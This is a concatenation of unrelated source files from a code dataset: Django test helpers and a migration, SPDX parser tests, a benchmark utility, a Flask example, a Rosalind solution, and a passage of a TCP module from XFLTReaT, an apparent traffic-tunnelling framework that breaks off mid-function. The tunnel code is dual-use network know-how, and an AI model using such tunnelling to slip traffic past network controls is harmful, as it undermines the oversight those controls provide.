request['HTTP_X_REQUEST_ID'] = str(uuid.uuid4())
updated_request.update(request)
return super().request(**updated_request)
class AuthorizedClient(BaseClient):
"""Class to instantiate an authorized client.
This is allowed to make calls to the authenticated endpoints.
"""
def __init__(self,
access_token='',
authentication_type=AuthenticationTypes.TOKEN,
**defaults):
super().__init__(**defaults)
user = defaults.get('user', UserFactory())
self.login_user(user, access_token, authentication_type)
def login_user(self, user, access_token='', authentication_type=AuthenticationTypes.TOKEN):
self.user = user
self.expires = datetime.datetime.now() + datetime.timedelta(days=1)
if not access_token:
token, _ = Token.objects.get_or_create(user=self.user)
self.access_token = token.key
else:
self.access_token = access_token
if self.user and self.access_token:
self.patch_validate_token()
self.authorization_header = '{} {}'.format(authentication_type, self.access_token)
def patch_validate_token(self,
username=None,
access_token=None,
feature_flags=None,
status_code=200):
# Use the objects user and access_token if none provided
if username is None:
username = self.user.username
if access_token is None:
access_token = self.access_token
# Put the current access_token into the dict of valid ones
_valid_tokens[access_token] = dict(
username=username,
feature_flags=feature_flags,
status_dode=status_code
)
def _invalidate_token(self):
# Remove the current access_token
del _valid_tokens[self.access_token]
def request(self, **request):
updated_request = {'HTTP_AUTHORIZATION': self.authorization_header}
if 'HTTP_X_REQUEST_ID' not in request:
request['HTTP_X_REQUEST_ID'] = str(uuid.uuid4())
updated_request.update(request)
return super().request(**updated_request)
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2428,
2141,
3827,
29898,
1068,
21402,
29918,
3827,
29897,
13,
2
] |
neighbourhoodapp/migrations/0004_rename_police_autorities_neighbourhood_police_authorities.py | Angelamutyota/Intheloop | 0 | 1611277 | # Generated by Django 3.2.5 on 2021-07-25 11:52
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('neighbourhoodapp', '0003_neighbourhood_picture'),
]
operations = [
migrations.RenameField(
model_name='neighbourhood',
old_name='police_autorities',
new_name='police_authorities',
),
]
| [
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cogs/welcome.py | nihaals/DabbitPrimeBot | 0 | 113956 | <filename>cogs/welcome.py<gh_stars>0
from discord.ext import commands
import discord
class Welcome():
def __init__(self, bot):
self.bot = bot
# welcome = False
#
# @commands.command()
# async def welcome(self, ctx, welcome):
# welcome = not welcome
# await ctx.send(self.bot.blank + "Welcome is set to {}".format(welcome))
#
# async def on_member_join(self, member):
# if welcome:
# await member.guild.default_channel.send("{0.name} joined in {0.joined_at}".format(member))
def setup(bot):
bot.add_cog(Welcome(bot)) | [
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tests/test_tag_value_parser.py | quaresmajose/tools-python | 74 | 6335 | # Copyright (c) 2014 <NAME>
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
# http://www.apache.org/licenses/LICENSE-2.0
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
import sys
from unittest import TestCase
import spdx
from spdx.parsers.tagvalue import Parser
from spdx.parsers.lexers.tagvalue import Lexer
from spdx.parsers.tagvaluebuilders import Builder
from spdx.parsers.loggers import StandardLogger
from spdx.version import Version
class TestLexer(TestCase):
maxDiff = None
def setUp(self):
self.l = Lexer()
self.l.build()
def test_document(self):
data = '''
SPDXVersion: SPDX-2.1
# Comment.
DataLicense: CC0-1.0
DocumentName: Sample_Document-V2.1
SPDXID: SPDXRef-DOCUMENT
DocumentNamespace: https://spdx.org/spdxdocs/spdx-example-444504E0-4F89-41D3-9A0C-0305E82C3301
DocumentComment: <text>This is a sample spreadsheet</text>
'''
self.l.input(data)
self.token_assert_helper(self.l.token(), 'DOC_VERSION', 'SPDXVersion', 2)
self.token_assert_helper(self.l.token(), 'LINE', 'SPDX-2.1', 2)
self.token_assert_helper(self.l.token(), 'DOC_LICENSE', 'DataLicense', 4)
self.token_assert_helper(self.l.token(), 'LINE', 'CC0-1.0', 4)
self.token_assert_helper(self.l.token(), 'DOC_NAME', 'DocumentName', 5)
self.token_assert_helper(self.l.token(), 'LINE', 'Sample_Document-V2.1',
5)
self.token_assert_helper(self.l.token(), 'SPDX_ID', 'SPDXID', 6)
self.token_assert_helper(self.l.token(), 'LINE', 'SPDXRef-DOCUMENT', 6)
self.token_assert_helper(self.l.token(), 'DOC_NAMESPACE',
'DocumentNamespace', 7)
self.token_assert_helper(self.l.token(), 'LINE',
'https://spdx.org/spdxdocs/spdx-example-444504E0-4F89-41D3-9A0C-0305E82C3301',
7)
self.token_assert_helper(self.l.token(), 'DOC_COMMENT', 'DocumentComment', 8)
self.token_assert_helper(self.l.token(), 'TEXT', '<text>This is a sample spreadsheet</text>', 8)
def test_external_document_references(self):
data = '''
ExternalDocumentRef:DocumentRef-spdx-tool-2.1 http://spdx.org/spdxdocs/spdx-tools-v2.1-3F2504E0-4F89-41D3-9A0C-0305E82C3301 SHA1: d6a770ba38583ed4bb4525bd96e50461655d2759
'''
self.l.input(data)
self.token_assert_helper(self.l.token(), 'EXT_DOC_REF',
'ExternalDocumentRef', 2)
self.token_assert_helper(self.l.token(), 'DOC_REF_ID',
'DocumentRef-spdx-tool-2.1', 2)
self.token_assert_helper(self.l.token(), 'DOC_URI',
'http://spdx.org/spdxdocs/spdx-tools-v2.1-3F25'
'04E0-4F89-41D3-9A0C-0305E82C3301', 2)
self.token_assert_helper(self.l.token(), 'EXT_DOC_REF_CHKSUM',
'SHA1: '
'd6a770ba38583ed4bb4525bd96e50461655d2759', 2)
def test_creation_info(self):
data = '''
## Creation Information
Creator: Person: <NAME>
Creator: Organization: Source Auditor Inc.
Creator: Tool: SourceAuditor-V1.2
Created: 2010-02-03T00:00:00Z
CreatorComment: <text>This is an example of an SPDX
spreadsheet format</text>
'''
self.l.input(data)
self.token_assert_helper(self.l.token(), 'CREATOR', 'Creator', 3)
self.token_assert_helper(self.l.token(), 'PERSON_VALUE', "Person: <NAME>", 3)
self.token_assert_helper(self.l.token(), 'CREATOR', 'Creator', 4)
self.token_assert_helper(self.l.token(), 'ORG_VALUE', 'Organization: Source Auditor Inc.', 4)
self.token_assert_helper(self.l.token(), 'CREATOR', 'Creator', 5)
self.token_assert_helper(self.l.token(), 'TOOL_VALUE', 'Tool: SourceAuditor-V1.2', 5)
self.token_assert_helper(self.l.token(), 'CREATED', 'Created', 6)
self.token_assert_helper(self.l.token(), 'DATE', '2010-02-03T00:00:00Z', 6)
def test_review_info(self):
data = '''
Reviewer: Person: Joe Reviewer
ReviewDate: 2010-02-10T00:00:00Z
ReviewComment: <text>This is just an example.
Some of the non-standard licenses look like they are actually
BSD 3 clause licenses</text>
'''
self.l.input(data)
self.token_assert_helper(self.l.token(), 'REVIEWER', 'Reviewer', 2)
self.token_assert_helper(self.l.token(), 'PERSON_VALUE', "Person: <NAME>", 2)
self.token_assert_helper(self.l.token(), 'REVIEW_DATE', 'ReviewDate', 3)
self.token_assert_helper(self.l.token(), 'DATE', '2010-02-10T00:00:00Z', 3)
self.token_assert_helper(self.l.token(), 'REVIEW_COMMENT', 'ReviewComment', 4)
self.token_assert_helper(self.l.token(), 'TEXT', '''<text>This is just an example.
Some of the non-standard licenses look like they are actually
BSD 3 clause licenses</text>''', 4)
def test_pacakage(self):
data = '''
SPDXID: SPDXRef-Package
FilesAnalyzed: False
PackageChecksum: SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12
PackageVerificationCode: 4e3211c67a2d28fced849ee1bb76e7391b93feba (SpdxTranslatorSpdx.rdf, SpdxTranslatorSpdx.txt)
ExternalRef: SECURITY cpe23Type cpe:2.3:a:pivotal_software:spring_framework:4.1.0:*:*:*:*:*:*:
ExternalRefComment: <text>Some comment about the package.</text>
'''
self.l.input(data)
self.token_assert_helper(self.l.token(), 'SPDX_ID', 'SPDXID', 2)
self.token_assert_helper(self.l.token(), 'LINE', 'SPDXRef-Package', 2)
self.token_assert_helper(self.l.token(), 'PKG_FILES_ANALYZED', 'FilesAnalyzed', 3)
self.token_assert_helper(self.l.token(), 'LINE', 'False', 3)
self.token_assert_helper(self.l.token(), 'PKG_CHKSUM', 'PackageChecksum', 4)
self.token_assert_helper(self.l.token(), 'CHKSUM', 'SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12', 4)
self.token_assert_helper(self.l.token(), 'PKG_VERF_CODE', 'PackageVerificationCode', 5)
self.token_assert_helper(self.l.token(), 'LINE', '4e3211c67a2d28fced849ee1bb76e7391b93feba (SpdxTranslatorSpdx.rdf, SpdxTranslatorSpdx.txt)', 5)
self.token_assert_helper(self.l.token(), 'PKG_EXT_REF', 'ExternalRef', 6)
self.token_assert_helper(self.l.token(), 'LINE', 'SECURITY cpe23Type cpe:2.3:a:pivotal_software:spring_framework:4.1.0:*:*:*:*:*:*:', 6)
self.token_assert_helper(self.l.token(), 'PKG_EXT_REF_COMMENT', 'ExternalRefComment', 7)
self.token_assert_helper(self.l.token(), 'TEXT', '<text>Some comment about the package.</text>', 7)
def test_unknown_tag(self):
data = '''
SomeUnknownTag: SomeUnknownValue
'''
self.l.input(data)
self.token_assert_helper(self.l.token(), 'UNKNOWN_TAG', 'SomeUnknownTag', 2)
self.token_assert_helper(self.l.token(), 'LINE', 'SomeUnknownValue', 2)
def test_snippet(self):
data = '''
SnippetSPDXID: SPDXRef-Snippet
SnippetLicenseComments: <text>Some lic comment.</text>
SnippetCopyrightText: <text>Some cr text.</text>
SnippetComment: <text>Some snippet comment.</text>
SnippetName: from linux kernel
SnippetFromFileSPDXID: SPDXRef-DoapSource
SnippetLicenseConcluded: Apache-2.0
LicenseInfoInSnippet: Apache-2.0
'''
self.l.input(data)
self.token_assert_helper(self.l.token(), 'SNIPPET_SPDX_ID', 'SnippetSPDXID', 2)
self.token_assert_helper(self.l.token(), 'LINE', 'SPDXRef-Snippet', 2)
self.token_assert_helper(self.l.token(), 'SNIPPET_LICS_COMMENT', 'SnippetLicenseComments', 3)
self.token_assert_helper(self.l.token(), 'TEXT', '<text>Some lic comment.</text>', 3)
self.token_assert_helper(self.l.token(), 'SNIPPET_CR_TEXT', 'SnippetCopyrightText', 4)
self.token_assert_helper(self.l.token(), 'TEXT', '<text>Some cr text.</text>', 4)
self.token_assert_helper(self.l.token(), 'SNIPPET_COMMENT', 'SnippetComment', 5)
self.token_assert_helper(self.l.token(), 'TEXT', '<text>Some snippet comment.</text>', 5)
self.token_assert_helper(self.l.token(), 'SNIPPET_NAME', 'SnippetName', 6)
self.token_assert_helper(self.l.token(), 'LINE', 'from linux kernel', 6)
self.token_assert_helper(self.l.token(), 'SNIPPET_FILE_SPDXID',
'SnippetFromFileSPDXID', 7)
self.token_assert_helper(self.l.token(), 'LINE', 'SPDXRef-DoapSource', 7)
self.token_assert_helper(self.l.token(), 'SNIPPET_LICS_CONC',
'SnippetLicenseConcluded', 8)
self.token_assert_helper(self.l.token(), 'LINE', 'Apache-2.0', 8)
self.token_assert_helper(self.l.token(), 'SNIPPET_LICS_INFO',
'LicenseInfoInSnippet', 9)
self.token_assert_helper(self.l.token(), 'LINE', 'Apache-2.0', 9)
def token_assert_helper(self, token, ttype, value, line):
assert token.type == ttype
assert token.value == value
assert token.lineno == line
class TestParser(TestCase):
maxDiff = None
document_str = '\n'.join([
'SPDXVersion: SPDX-2.1',
'DataLicense: CC0-1.0',
'DocumentName: Sample_Document-V2.1',
'SPDXID: SPDXRef-DOCUMENT',
'DocumentComment: <text>Sample Comment</text>',
'DocumentNamespace: https://spdx.org/spdxdocs/spdx-example-444504E0-4F89-41D3-9A0C-0305E82C3301'
])
creation_str = '\n'.join([
'Creator: Person: Bob (<EMAIL>)',
'Creator: Organization: Acme.',
'Created: 2010-02-03T00:00:00Z',
'CreatorComment: <text>Sample Comment</text>'
])
review_str = '\n'.join([
'Reviewer: Person: Bob the Reviewer',
'ReviewDate: 2010-02-10T00:00:00Z',
'ReviewComment: <text>Bob was Here.</text>',
'Reviewer: Person: Alice the Reviewer',
'ReviewDate: 2011-02-10T00:00:00Z',
'ReviewComment: <text>Alice was also here.</text>'
])
package_str = '\n'.join([
'PackageName: Test',
'SPDXID: SPDXRef-Package',
'PackageVersion: Version 0.9.2',
'PackageDownloadLocation: http://example.com/test',
'FilesAnalyzed: True',
'PackageSummary: <text>Test package</text>',
'PackageSourceInfo: <text>Version 1.0 of test</text>',
'PackageFileName: test-1.0.zip',
'PackageSupplier: Organization:ACME',
'PackageOriginator: Organization:ACME',
'PackageChecksum: SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12',
'PackageVerificationCode: 4e3211c67a2d28fced849ee1bb76e7391b93feba (something.rdf, something.txt)',
'PackageDescription: <text>A package.</text>',
'PackageComment: <text>Comment on the package.</text>',
'PackageCopyrightText: <text> Copyright 2014 Acme Inc.</text>',
'PackageLicenseDeclared: Apache-2.0',
'PackageLicenseConcluded: (LicenseRef-2.0 and Apache-2.0)',
'PackageLicenseInfoFromFiles: Apache-1.0',
'PackageLicenseInfoFromFiles: Apache-2.0',
'PackageLicenseComments: <text>License Comments</text>',
'ExternalRef: SECURITY cpe23Type cpe:2.3:a:pivotal_software:spring_framework:4.1.0:*:*:*:*:*:*:',
'ExternalRefComment: <text>Some comment about the package.</text>'
])
file_str = '\n'.join([
'FileName: testfile.java',
'SPDXID: SPDXRef-File',
'FileType: SOURCE',
'FileChecksum: SHA1: 2fd4e1c67a2d28fced849ee1bb76e7391b93eb12',
'LicenseConcluded: Apache-2.0',
'LicenseInfoInFile: Apache-2.0',
'FileCopyrightText: <text>Copyright 2014 Acme Inc.</text>',
'ArtifactOfProjectName: AcmeTest',
'ArtifactOfProjectHomePage: http://www.acme.org/',
'ArtifactOfProjectURI: http://www.acme.org/',
'FileComment: <text>Very long file</text>'
])
unknown_tag_str = 'SomeUnknownTag: SomeUnknownValue'
snippet_str = '\n'.join([
'SnippetSPDXID: SPDXRef-Snippet',
'SnippetLicenseComments: <text>Some lic comment.</text>',
'SnippetCopyrightText: <text> Copyright 2008-2010 <NAME> </text>',
'SnippetComment: <text>Some snippet comment.</text>',
'SnippetName: from linux kernel',
'SnippetFromFileSPDXID: SPDXRef-DoapSource',
'SnippetLicenseConcluded: Apache-2.0',
'LicenseInfoInSnippet: Apache-2.0',
])
complete_str = '{0}\n{1}\n{2}\n{3}\n{4}\n{5}'.format(document_str, creation_str, review_str, package_str, file_str, snippet_str)
def setUp(self):
self.p = Parser(Builder(), StandardLogger())
self.p.build()
def test_doc(self):
document, error = self.p.parse(self.complete_str)
assert document is not None
assert not error
assert document.version == Version(major=2, minor=1)
assert document.data_license.identifier == 'CC0-1.0'
assert document.name == 'Sample_Document-V2.1'
assert document.spdx_id == 'SPDXRef-DOCUMENT'
assert document.comment == 'Sample Comment'
assert document.namespace == 'https://spdx.org/spdxdocs/spdx-example-444504E0-4F89-41D3-9A0C-0305E82C3301'
def test_creation_info(self):
document, error = self.p.parse(self.complete_str)
assert document is not None
assert not error
assert len(document.creation_info.creators) == 2
assert document.creation_info.comment == 'Sample Comment'
assert (document.creation_info.created_iso_format == '2010-02-03T00:00:00Z')
def test_review(self):
document, error = self.p.parse(self.complete_str)
assert document is not None
assert not error
assert len(document.reviews) == 2
def test_package(self):
document, error = self.p.parse(self.complete_str)
assert document is not None
assert not error
assert document.package.name == 'Test'
assert document.package.spdx_id == 'SPDXRef-Package'
assert document.package.version == 'Version 0.9.2'
assert len(document.package.licenses_from_files) == 2
assert (document.package.conc_lics.identifier == 'LicenseRef-2.0 AND Apache-2.0')
assert document.package.files_analyzed == True
assert document.package.comment == 'Comment on the package.'
assert document.package.pkg_ext_refs[-1].category == 'SECURITY'
assert document.package.pkg_ext_refs[-1].pkg_ext_ref_type == 'cpe23Type'
assert document.package.pkg_ext_refs[-1].locator == 'cpe:2.3:a:pivotal_software:spring_framework:4.1.0:*:*:*:*:*:*:'
assert document.package.pkg_ext_refs[-1].comment == 'Some comment about the package.'
def test_file(self):
document, error = self.p.parse(self.complete_str)
assert document is not None
assert not error
assert len(document.package.files) == 1
spdx_file = document.package.files[0]
assert spdx_file.name == 'testfile.java'
assert spdx_file.spdx_id == 'SPDXRef-File'
assert spdx_file.type == spdx.file.FileType.SOURCE
assert len(spdx_file.artifact_of_project_name) == 1
assert len(spdx_file.artifact_of_project_home) == 1
assert len(spdx_file.artifact_of_project_uri) == 1
def test_unknown_tag(self):
try:
from StringIO import StringIO
except ImportError:
from io import StringIO
saved_out = sys.stdout
sys.stdout = StringIO()
document, error = self.p.parse(self.unknown_tag_str)
self.assertEqual(sys.stdout.getvalue(), 'Found unknown tag : SomeUnknownTag at line: 1\n')
sys.stdout = saved_out
assert error
assert document is not None
def test_snippet(self):
document, error = self.p.parse(self.complete_str)
assert document is not None
assert not error
assert len(document.snippet) == 1
assert document.snippet[-1].spdx_id == 'SPDXRef-Snippet'
assert document.snippet[-1].name == 'from linux kernel'
assert document.snippet[-1].comment == 'Some snippet comment.'
assert document.snippet[-1].copyright == ' Copyright 2008-2010 <NAME> '
assert document.snippet[-1].license_comment == 'Some lic comment.'
assert document.snippet[-1].snip_from_file_spdxid == 'SPDXRef-DoapSource'
assert document.snippet[-1].conc_lics.identifier == 'Apache-2.0'
assert document.snippet[-1].licenses_in_snippet[-1].identifier == 'Apache-2.0'
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src/utils/benchmark.py | jina-ai/benchmark | 11 | 114950 | <gh_stars>10-100
from collections import namedtuple
from contextlib import ExitStack
from statistics import mean, stdev
from typing import Any, Callable, Dict, Iterable, List, Optional, Tuple
from .profiler import Profiler, merge_profiles
from .timecontext import TimeContext
BenchmarkResult = namedtuple(
'BenchmarkResult', ['mean', 'std', 'iterations', 'profiles']
)
def benchmark_time(
func: Callable[[Any], Any],
n: int = 5,
setup: Optional[Callable[[Any], Optional[Tuple[Iterable, Dict[str, Any]]]]] = None,
teardown: Optional[Callable[[None], None]] = None,
profile_cls: Optional[List[type]] = [],
args: Optional[Tuple] = None,
kwargs: Optional[Dict] = None,
):
"""Get average time and std by benchmarking a function multiple times
:param func: The function to benchmark
:param setup: A setup function that can perform setup before running
the ``func``. It should take as inputs the ``args`` and ``kwargs``
that you provided, and return a tuple of an iterable, which will
be used to provide ``args`` to ``func``, and a dictionary, which
will be used to provide ``kwargs`` to ``func``.
:param teardown: A teardown function that can perform teardown/cleanup after running
the ``func``.
:param profile_cls: A list of the classes that want to be profiled
:param n: Number of repetitions
:param args: Positional arguments to pass to ``func`` (or ``setup``)
:param kwargs: Keyword arguments to pass to ``func`` (or ``setup``)
"""
results = []
args = args if args is not None else ()
kwargs = kwargs if kwargs is not None else {}
profiles_by_cls = {_cls: [] for _cls in profile_cls}
with TimeContext() as test_timer:
while test_timer.time_since_start() < 1e9 or len(results) < n:
if setup is not None:
new_args, new_kwargs = setup(*args, **kwargs)
else:
new_args, new_kwargs = args, kwargs
ctx_manager = ExitStack()
profiles = [ctx_manager.enter_context(Profiler(cls)) for cls in profile_cls]
with ctx_manager:
with TimeContext() as t:
func(*new_args, **new_kwargs)
for p in profiles:
profiles_by_cls[p._cls].append(p.profile)
if teardown is not None:
teardown()
results.append(t.duration)
mean_profiles = []
for profile_cls, profile_list in profiles_by_cls.items():
mean_profiles.append(merge_profiles(profile_list))
m = int(mean(results))
s = int(stdev(results)) if len(results) > 1 else None
print(
f'----> mean_time={round(m,3)}, std_time={round(s,3)}, iterations={len(results)}'
)
return BenchmarkResult(m, s, len(results), mean_profiles)
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lightbus_examples/ex01_simple/products/web.py | adamcharnock/lightbus-examples | 0 | 127037 | """
A very simple web server for managing a company's products
"""
from uuid import uuid4
from flask import Flask, request, redirect, render_template
import lightbus
from . import db
# Create a flask webserver
web = Flask(__name__, static_folder='../../../static')
# Create our bus
from . import bus as bus_ # Importing the API will register it with Lightbus
bus = lightbus.create()
@web.route('/create', methods=['POST'])
def create_product():
name = request.form.get('name') or 'No name'
uuid = uuid4().hex
# Create product in our database
db['products'].insert(dict(
uuid=uuid,
name=name,
))
# Send lightbus 'products.created' event
bus.products.created.fire(name=name, uuid=uuid)
return redirect('/')
@web.route('/delete/<uuid>', methods=['GET'])
def delete_product(uuid):
# Delete the product from our database
db['products'].delete(uuid=uuid)
# Send lightbus 'products.deleted' event
bus.products.deleted.fire(uuid=uuid)
return redirect('/')
@web.route('/update/<uuid>', methods=['POST'])
def update_product(uuid):
name = request.form.get('name') or 'No name'
# Update the product in our database
db['products'].update(dict(
uuid=uuid,
name=name,
), keys=['uuid'])
# Send lightbus 'products.updated' event
bus.products.updated.fire(uuid=uuid, name=name)
return redirect('/')
@web.route('/update/<uuid>', methods=['GET'])
def update_product_form(uuid):
return render_template('update.html', product=db['products'].find_one(uuid=uuid))
@web.route('/', methods=['GET'])
def list_products():
return render_template('list.html', products=db['products'].all())
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app/util/exception.py | proglang/servercodetest | 0 | 182505 | <reponame>proglang/servercodetest
import traceback
import json
from django.conf import settings
from . import log as logging, format
DEBUG = settings.DEBUG
#TODO: Loca
class Traceback:
class Entry:
def __init__(self, index, file, line, func, code):
self.index = index
self.file = file
self.line = line
self.func = func
self.code = code
def serialize(self) -> dict:
return self.__dict__
def __init__(self, exception: Exception):
tb = None
if exception.__traceback__:
tb = traceback.extract_tb(exception.__traceback__)
_len = len(tb)
else:
tb = traceback.extract_stack()
_len = len(tb) - 2
self._class = exception.__class__.__name__
self.args = exception.args
data = map(lambda e: (e[0], *e[1]), enumerate(tb))
data = filter(lambda data: _len > data[0], data)
self.tb = tuple(map(lambda entry: self.Entry(*entry), data))
def __str__(self):
res = [f"== {format.bold(self._class)} =="]
if DEBUG:
res.append(f"{self.args!s}")
formatter = 'f" - {format.bold(entry.index)} {format.blue(entry.file)} -> {format.blue(entry.func)}({format.blue(entry.line)}): {format.red(entry.code)}"'
res.append("\n".join(map(lambda entry: eval(formatter), self.tb)))
else:
res.append("Please activate debug mode for more informations")
return "\n".join(res)
def log(self):
tb = tuple(map(lambda entry: entry.serialize(), self.tb))
try:
data = json.dumps({"class": self._class, "args": self.args, "tb": tb})
except:
data = json.dumps({"class": self._class, "tb": tb})
logging.exception(data)
class BaseException(Exception):
pass
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] |
024. Longest Increasing Subsequence/BetterSolution.py | SyouTono242/Rosalind | 0 | 85986 | <gh_stars>0
##### Functions ################################################################
def lgis3( seq, count ):
'''
Returns reversed version of (a) longest increasing subsequence.
seq: the sequence for which (a) longest increasing subsequence is desired.
count: number of items in seq
Notes:
Uses "Patience Sorting"
Each 'pile' is a subsequence with the opposite polarity {decreasing} to
that of the desired longest subsequence {increasing}
**LOGIC**: when backtracking, once an element from a pile is selected,
all elements to the left are larger, and all to the right are smaller
THUS only one element from each pile can be used in an increasing subseq
'''
# list of lists of decreasing subsequences
piles = []
# all possible indices that could be used for decreasing subsequences
# -- i.e. if whole sequence is increasing
pile_indices = range(count)
# loop appends each item to the end of first 'pile' for which it continues
# the descending subsequence
# the second value in each tuple is the index + 1 of the preceeding
# pile's last element (or -1 if no preceeding pile)
# this allows the traceback to find the last element from the
# preceeding pile that was added before this element
for item in seq:
# using for & break is simpler and faster than the original
# elminating range(len(piles)) and catching the exception when going
# beyond the end of the list (instead of using else) gives an
# additional slight improvement in speed
try:
for j in pile_indices:
if piles[j][-1][0] > item:
# pile index
idx = j
# append tuple comprising the current item and the position
# of the preceeding pile's last element (for traceback)
piles[idx].append(
(
item,
len(piles[idx-1]) if idx > 0 else -1
)
)
# resume outer loop
break
except:
# start a new pile each time the current element is larger than the
# last element of all current piles
piles.append(
[(
item,
# length of the last 'pile' (before this one is created)
len(piles[-1]) if piles else -1
)]
)
# the increasing subsequence (reversed)
result = []
# backward pointer -- index of last item in the preceeding pile that was
# added before the current item
point_back = -1
# reverse iteration over the piles
for i in range( len(piles) - 1, -1, -1 ):
result.append( piles[i][point_back][0] )
point_back = piles[i][point_back][1] - 1
return result
##### Execution ################################################################
# read permutation from file
with open('input.txt', 'r') as infile:
# size of permutation
count = int(infile.readline().strip())
# sequence of permutation
seq = [int(item) for item in infile.readline().split()]
# write results to file
with open('output.txt', 'w') as outfile:
outfile.write(
" ".join(map(str, lgis3(seq, count)[::-1])) +
'\n' +
" ".join(map(str, lgis3(seq[::-1], count)))
)
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] |
modules/TCP_generic.py | re4lity/XFLTReaT | 1 | 66176 | # MIT License
# Copyright (c) 2017 <NAME>
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
import sys
if "TCP_generic.py" in sys.argv[0]:
print("[-] Instead of poking around just try: python xfltreat.py --help")
sys.exit(-1)
import socket
import time
import select
import os
import struct
import threading
#local files
import Stateful_module
import client
import common
class TCP_generic_thread(Stateful_module.Stateful_thread):
def __init__(self, threadID, serverorclient, tunnel, packetselector, comms_socket, client_addr, auth_module, verbosity, config, module_name):
super(TCP_generic_thread, self).__init__()
threading.Thread.__init__(self)
self._stop = False
self.threadID = threadID
self.tunnel_r = None
self.tunnel_w = tunnel
self.packetselector = packetselector
self.comms_socket = comms_socket
self.client_addr = client_addr
self.auth_module = auth_module
self.verbosity = verbosity
self.serverorclient = serverorclient
self.config = config
self.module_name = module_name
self.check_result = None
self.timeout = 3.0
self.partial_message = ""
self.client = None
self.authenticated = False
return
def communication_initialization(self):
self.client = client.Client()
self.client.set_socket(self.comms_socket)
return
# check request: generating a challenge and sending it to the server
# in case the answer is that is expected, the targer is a valid server
def do_check(self):
message, self.check_result = self.checks.check_default_generate_challenge()
self.send(common.CONTROL_CHANNEL_BYTE, common.CONTROL_CHECK+message, None)
return
# basic authentication support. mostly placeholder for a proper
# authentication. Time has not come yet.
def do_auth(self):
message = self.auth_module.send_details(self.config.get("Global", "clientip"))
self.send(common.CONTROL_CHANNEL_BYTE, common.CONTROL_AUTH+message, None)
return
# Polite signal towards the server to tell that the client is leaving
# Can be spoofed? if there is no encryption. Who cares?
def do_logoff(self):
self.send(common.CONTROL_CHANNEL_BYTE, common.CONTROL_LOGOFF, None)
return
def send(self, channel_type, message, additional_data):
if channel_type == common.CONTROL_CHANNEL_BYTE:
transformed_message = self.transform(common.CONTROL_CHANNEL_BYTE+message, 1)
else:
transformed_message = self.transform(common.DATA_CHANNEL_BYTE+message, 1)
common.internal_print("TCP sent: {0}".format(len(transformed_message)), 0, self.verbosity, common.DEBUG)
# WORKAROUND?!
# Windows: It looks like when the buffer fills up the OS does not do
# congestion control, instead throws and exception/returns with
# WSAEWOULDBLOCK which means that we need to try it again later.
# So we sleep 100ms and hope that the buffer has more space for us.
# If it does then it sends the data, otherwise tries it in an infinite
# loop...
while True:
try:
return self.comms_socket.send(struct.pack(">H", len(transformed_message))+transformed_message)
except socket.error as se:
if se.args[0] == 10035: # WSAEWOULDBLOCK
time.sleep(0.1)
pass
else:
raise
def recv(self):
messages = []
message = self.partial_message + self.comms_socket.recv(4096)
if len(message) < 2:
return messages
while True:
length = struct.unpack(">H", message[0:2])[0]+2
if len(message) >= length:
messages.append(self.transform(message[2:length], 0))
common.internal_print("TCP read: {0}".format(len(messages[len(messages)-1])), 0, self.verbosity, common.DEBUG)
self.partial_message = ""
message = message[length:]
else:
self.partial_message = message
break
if len(message) < 2:
self.partial_message = message
break
return messages
def cleanup(self):
try:
self.comms_socket.close()
except:
pass
if self.serverorclient:
self.packetselector.delete_client(self.client)
def communication_win(self, is_check):
import win32event
import win32file
import win32api
import pywintypes
import winerror
# event for the socket
hEvent_sock = win32event.CreateEvent(None, 0, 0, None)
win32file.WSAEventSelect(self.comms_socket, hEvent_sock, win32file.FD_READ)
# event, overlapped struct for the pipe or tunnel
hEvent_pipe = win32event.CreateEvent(None, 0, 0, None) # for reading from the pipe
overlapped_pipe = pywintypes.OVERLAPPED()
overlapped_pipe.hEvent = hEvent_pipe
# buffer for the packets
message_readfile = win32file.AllocateReadBuffer(4096)
# showing if we already async reading or not
not_reading_already = True
first_run = True
while not self._stop:
try:
if not self.tunnel_r:
# user is not authenticated yet, so there is no pipe
# only checking the socket for data
rc = win32event.WaitForSingleObject(hEvent_sock, int(self.timeout*1000))
else:
# client mode so we have the socket and tunnel as well
# or the client authenticated and the pipe was created
if first_run or not_reading_already:
# no ReadFile was called before or finished, so we
# are calling it again
hr, _ = win32file.ReadFile(self.tunnel_r, message_readfile, overlapped_pipe)
not_reading_already = first_run = False
if (hr == winerror.ERROR_IO_PENDING):
# well, this was an async read, so we need to wait
# until it happens
rc = win32event.WaitForMultipleObjects([hEvent_sock, hEvent_pipe], 0, int(self.timeout*1000))
if rc == winerror.WAIT_TIMEOUT:
# timed out, just rerun and wait
continue
else:
if hr != 0:
common.internal_print("TCP ReadFile failed: {0}".format(hr), -1)
raise
if rc < 0x80: # STATUS_ABANDONED_WAIT_0
if rc == 0:
# socket got signalled
not_reading_already = False
messages = self.recv()
for message in messages:
# looping through the messages from socket
if len(message) == 0:
# this could happen when the socket died or
# partial message was read.
continue
if common.is_control_channel(message[0:1]):
# parse control messages
if self.controlchannel.handle_control_messages(self, message[len(common.CONTROL_CHANNEL_BYTE):], None):
